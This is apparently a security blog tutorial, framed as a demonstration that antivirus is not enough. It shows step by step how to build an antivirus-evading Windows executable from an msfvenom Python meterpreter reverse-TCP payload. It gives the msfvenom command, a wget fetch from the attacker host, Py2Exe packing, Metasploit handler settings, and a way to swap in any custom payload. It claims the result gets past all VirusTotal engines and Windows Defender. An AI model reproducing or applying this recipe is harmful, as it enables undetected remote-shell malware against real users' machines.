When deploying defense in depth security controls for your organization, you are likely to include antiviruses as part of the solution. That is definitely a good practice as long as we keep in mind that antiviruses are just adding an extra layer of protection and we should never solely depend on it for protecting end-users devices.
A good security program should always include defense in depth controls such as software update governance, firewalls, training/security awareness, physical security, identity management, password policy, etc. However, it is not uncommon for a security engineer to get challenged about the need for those extra layers, and you may need to demonstrate how antiviruses can be easily bypassed to prove your point.
In this article we will present a very straight forward tutorial on how to evade antiviruses on fully patched and updated Windows environments using a Python payload.
Keep in mind that attempting antivirus bypass is a cat and mouse game. Whenever a new evasion technique gets popular, antivirus vendors will eventually learn about it and update their signatures database to block it. Then, new evasion techniques will arise, which will make vendors to add it to their signature database, and so on and so forth.
By the time of this writing, the method described here was successfully used to bypass all the vendor engines available on Virus Total, and get the malicious artifact successfully executed on a fully updated Windows 10 machine with Windows Defender enabled.
Signature-based antiviruses work by comparing the artifact binaries against a signature database. Our goal is to “disguise” our payload in a way they do not match any known signatures on any antivirus vendor database. A behavior-based antivirus will try to match known suspicious activities to the actions taken by a given artifact. Our malware will work as a mere client trying to start a TCP connection on port 443. It makes harder for behavior-based antiviruses to flag actions like this without issuing a lot of false positives for legit applications such as web browsers.
For this example we are going to use a Python payload generated by MSFVenom to open a reverse TCP shell (meterpreter session) on port 443 to the attacker machine running Metasploit. An artifact like that is obviously malicious and should always be flagged by any antivirus agent.
The approach described here is flexible enough so you can extend it by replacing our sample msfvenom payload with your own customized Python payload.
We recommend using 3 virtual machines for this tutorial:
Kali Linux for creating the payload and running Metasploit;
Windows Metasploitable 3 for packing the payload into an artifact;
Windows 10 fully patched for running the final artifact;
The reason we used 2 distinct Windows virtual machines is because we need a fully updated/patched box to make sure our artifact will have a very high chance to work on any given Windows environment. On the other hand, before packing the payload with Py2Exe, a fully patched machine will always flag the raw Python payload, giving you a hard time working with it. Hence, the need for the Metasploitable 3 virtual machine for handling the raw payload before it is packed.
Creating a FUD meterpreter payload with Python
For creating the the artifact we recommend using the Windows Metasploitable 3 as your main Windows environment.
Install Python 2.7.16 x86 for Windows: https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi
*Note: Python 2.7 x86 is required. Install the 32 bits version even if your Windows is a x64 box. Also, make sure to select the option “Add python.exe to Path” during the installation
Install Py2exe 32 bits for Python 2.7: https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download
Optionally, install Open SSL for Windows.
Switch to the Kali Linux machine and create the Python payload.
*Note: Our Kali Linux is using IP address 10.0.2.10. Make sure you replace it by your current IP for the all the remaining steps in this tutorial.
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.2.10 LPORT=443 -f raw -o /var/www/html/mrtp.py
service apache2 start
Copy the payload “mrtp.py” back to your Windows machine. Using powershell, run:
wget http://10.0.2.10/mrtp.py -O mrtp.py
Also, create a setup.py file with the following content:
Bundle the standalone Python executable with Py2Exe:
python.exe .\setup.py py2exe
Test the artifact “mrtp.exe” created under the dist folder:
Switch back to you Kali Linux and run Metasploit:
We assume the following configuration: Kali VM IP: 10.0.2.10
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST 10.0.2.10
set LPORT 443
*Note: Depending o how long you take to set the Metasploit handler, you may need to run mrtp.exe on the Windows box again.
Now that we have confirmed our artifact works, let’s check it against all the Antivirus engines available on VirusTotal. Visit www.virtutotal.com and provide your “mrtp.exe” file for scanning.
If everything goes well, you should get a clean report similar to the following.
Now it is time to run it on the Windows 10 machine. Copy the “mrtp.exe” file directly to the Windows 10 box. In a real life exploitation you would need to leverage some attack vector to deploy it and execute it on your target, however, that is out of the scope of this article.
Make sure your Metasploit handler is listening on port 443, and run the artifact “mrtp.exe” on the Windows 10 machine.
As shown on the screenshot, the artifact executed completely undetected and a meterpreter session was successfully established.
Customizing your own Python payload
You can leverage this technique and use your own customized Python payload. All you need to do is to repeat the steps from the previous session, editing the “mrtp.py” file after generating it with msfvenom. You will have to replace the original encoded base64 string with your own Python code.
Just as an example, let’s create a new “custom_payload.py” Python script that just prints two messages and use it as our new payload.
After creating it, we will need to encode it with base64 encoding:
cat custom_payload.py | base64
For the sample script we used, it will give us the following base64 encoded string: “cHJpbnQgKCJDdXN0b21pemVkIHBheWxvYWQiKQpwcmludCAoIkl0IHdvcmtzISIpCg==”
Now, we edit the existing “mrtp.py” script we used on the previous session, and replace the original base64 string that begins with “aW1wb3J0IHNvY2t” with our new one.
After customization, the final result should be similar to this:
Copy the new “mrtp.py” back to your Windows machine and repeat the bundling steps:
wget http://10.0.2.10/mrtp.py -O mrtp.py
python.exe .\setup.py py2exe
After executing the new “mrtp.exe” bundled Python artifact we get “Customized payload” “It works” strings printed on the terminal.
At this point, you should be able to create any Python FUD artifact you want just by editing the “custom_payload.py” file and bundling it with Py2Exe.